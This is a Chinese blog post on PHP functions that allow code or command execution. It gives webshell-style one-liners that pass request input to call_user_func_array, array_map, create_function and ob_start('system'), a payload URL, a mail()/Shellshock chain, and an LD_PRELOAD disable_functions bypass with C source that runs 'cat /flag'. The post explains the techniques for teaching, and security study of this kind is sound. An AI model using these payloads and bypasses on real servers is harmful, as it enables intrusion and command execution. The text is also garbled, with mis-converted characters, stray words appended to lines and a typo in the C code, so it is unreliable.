第一个参数 callback 是被调用的回调函数,其他参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递php
把第一个参数做为回调函数(callback)调用,把参数数组做(param_arr)为回调函数的的参数传入。html
call_user_func_array($_GET['1'],$_GET['2']);web
codeexec.php?1=assert&2[]=phpinfo()shell
该函数的内部实现用到了eval
,因此也具备相同的安全问题。第一个参数args
是后面定义函数的参数,第二个参数是函数的代码。apache
$a = $_GET['a']; $b = create_function('$a',"echo $a"); $b('');
做用是为数组的每一个元素应用回调函数 。其返回值为数组,是为 array1 每一个元素应用 callback函数以后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,二者必须同样。数组
<?php $array = array(0,1,2,3,4,5); array_map($_GET[1],$array); ?>
搜索subject中匹配pattern的部分, 以replacement进行替换。当使用被弃用的 e 修饰符时, 这个函数会转义一些字符,在完成替换后,引擎会将结果字符串做为php代码使用eval方式进行评估并将返回值做为最终参与替换的字符串。浏览器
若是 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕以后, 自动刷新 web 服务器的输出缓存。缓存
经过 shell 环境执行命令,而且将完整的输出以字符串的方式返回。(和``反引号效果相同)安全
同 exec() 函数相似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 而且须要直接传送到浏览器的时候, 须要用此函数来替代 exec() 或 system() 函数。bash
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)而且必须用 pclose() 来关闭。此指针能够用于 fgets(),fgetss() 和 fwrite()。
<?php $descriptorspec=array( //这个索引数组用力指定要用proc_open建立的子进程的描述符 0=>array('pipe','r'), //STDIN 1=>array('pipe','w'),//STDOUT 2=>array('pipe','w') //STDERROR ); $handle=proc_open('dir',$descriptorspec,$pipes,NULL); //$pipes中保存的是子进程建立的管道对应到 PHP 这一端的文件指针($descriptorspec指定的) if(!is_resource($handle)){ die('proc_open failed'); } //fwrite($pipes[0],'ipconfig'); print('stdout:<br/>'); while($s=fgets($pipes[1])){ print_r($s); } print('===========<br/>stderr:<br/>'); while($s=fgets($pipes[2])){ print_r($s); } fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($handle); ?>
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
当调用 output_callback 时,它将收到输出缓冲区的内容做为参数 并预期返回一个新的输出缓冲区做为结果,这个新返回的输出缓冲区内容将被送到浏览器。
<?php $cmd = 'system'; ob_start($cmd); //将命令存储到内部缓冲区 echo "$_GET[a]"; ob_end_flush(); 清除内部缓冲区,此时将输出缓冲区的内容看成参数执行并输入执行结果,即执行system($_GET(a)) ?>
第五个参数支持添加附加的命令做为发送邮件时候的配置,好比使用-f参数能够设置邮件发件人等。
若是传递了第五个参数(extra_cmd),则用sprintf将sendmail_path和extra_cmd拼接到sendmail_cmd中,随后将sendmail_cmd丢给popen执行,若是系统默认sh是bash,popen会派生bash进程,而咱们刚才提到的bash 破壳漏洞,直接就致使咱们能够利用mail()函数执行任意命令,绕过disable_functions的限制
即mail->poen->bash调用链
可是若是使用了php_escape_shell_cmd函数会对特殊字符(包括&#;`|*?~<>^()[]{}$\, \x0A and \xFF. ‘ 等)进行转义,咱们能够经过putenv函数来设置一个包含自定义函数的环境变量,而后经过mail()来触发
bool putenv ( string $setting )
添加 setting 到服务器环境变量,环境变量仅存活于当前请求期间,在请求结束时环境会恢复到初始状态。 即咱们可以自定义环境变量
好比:
LD_PRELOAD是Linux系统的下一个有趣的环境变量,它容许你定义在程序运行前优先加载的动态连接库
这个功能主要就是用来有选择性的载入不一样动态连接库中的相同函数。
经过这个环境变量,咱们能够在主程序和其动态连接库的中间加载别的动态连接库,甚至覆盖正常的函数库。
一方面,咱们能够以此功能来使用本身的或是更好的函数(无需别人的源码),而另外一方面,咱们也能够以向别人的程序注入程序,从而达到特定的目的。
它容许你定义在程序运行前优先加载的动态连接库,这说明咱们几乎能够劫持PHP的大部分函数,好比php的mail函数其实是调用了系统的sendmail命令,咱们选一个库函数geteuid
而后编写一个本身的动态连接程序,tr1ple.c
#include<stdlib.h> #include<stdio.h> #include<string.h> void payload(){ system("cat /flag"); } int geteuid(){ if(geteenv("LD_PRELOAD")==NULL){ return 0; } unsetenv("LD_PRELOAD"); payload(); }
当咱们编写的共享库的geteuid函数被调用时将执行命令,测试编译时平台尽可能与目标相近。
运行:
gcc -c -fPIC tr1ple.c -o tr1ple gcc --share tr1ple -o tr1ple.so
此时生成了tr1ple.so,咱们将so文件放在web目录下,而后编写php文件进行测试:
<?php putenv("LD_PRELOAD=/var/www/html/tr1ple.so"); mail("1@2","","","",""); ?>
而后访问后就会在web目录下产生2333文件:
因此就达到了劫持geteuid函数的目的,让程序调用咱们的恶意so文件中函数,咱们让php文件调用putenv来设置一个临时环境变量LD_PRELOAD,以便于在程序执行时去加载咱们的so,那么关键就是这里。那么联想一下若是咱们能劫持其余库函数,那么也能达到相同的效果,由于php是用c写的,mail调用了sendmail命令,sendmail命令又调用了geteuid函数,那就有如下:
1.若是其余php函数也调用了sendmail命令;
2.若是其它php函数调用系统命令并调用c的库函数
以上两种可能应该都是存在的,均可能产生风险。
它也能来动态代码执行,可是只是php5.x,7.x里就是即便参数是字符串也不执行
dl()函数容许在php脚本里动态加载php模块,默认是加载extension_dir目录里的扩展,
该选项是PHP_INI_SYSTEM范围可修改的,只能在php.ini或者apache主配置文件里修改。
固然,你也能够经过enable_dl选项来关闭动态加载功能,而这个选项默认为On的,事实上也不多人注意到这个。
dl()函数在设计时存在安全漏洞,能够用../这种目录遍历的方式指定加载任何一个目录里的so等扩展文件,extension_dir限制能够被随意饶过。
因此咱们能够上传本身的so文件,而且用dl函数加载这个so文件而后利用so文件里的函数执行其余操做,
包括系统命令。
设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。若是能结合call_user_func函数就能进行调用设置。
不是全部有效的选项都可以用 ini_set() 来改变的。 这里有个有效选项的清单附录,附录地址为https://www.php.net/manual/zh/ini.list.php
imap_mail在执行时也会fork execve,去调用sendmail,所以也会加载咱们的so
参数设置与mail相同
参考(侵删):
https://www.k0rz3n.com/2019/02/12/PHP%20%E4%B8%AD%E5%8F%AF%E4%BB%A5%E5%88%A9%E7%94%A8%E7%9A%84%E5%8D%B1%E9%99%A9%E7%9A%84%E5%87%BD%E6%95%B0/#8-mail-%E7%AC%AC%E4%BA%94%E4%B8%AA%E5%8F%82%E6%95%B0-excrt-cmd
原文出处:https://www.cnblogs.com/tr1ple/p/11202512.html